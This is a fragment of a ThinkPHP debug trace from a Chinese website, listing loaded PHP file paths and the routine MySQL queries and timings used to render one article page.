  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000697s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000729s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000463s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.003124s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000559s ]
  6. SELECT * FROM `set` [ RunTime:0.000215s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000606s ]
  8. SELECT * FROM `article` WHERE `id` = 473711 LIMIT 1 [ RunTime:0.014884s ]
  9. UPDATE `article` SET `lasttime` = 1770437949 WHERE `id` = 473711 [ RunTime:0.009370s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.000362s ]
  11. SELECT * FROM `article` WHERE `id` < 473711 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.003936s ]
  12. SELECT * FROM `article` WHERE `id` > 473711 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.009394s ]
  13. SELECT * FROM `article` WHERE `id` < 473711 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.004997s ]
  14. SELECT * FROM `article` WHERE `id` < 473711 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.006248s ]
  15. SELECT * FROM `article` WHERE `id` < 473711 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.051634s ]
0.173657s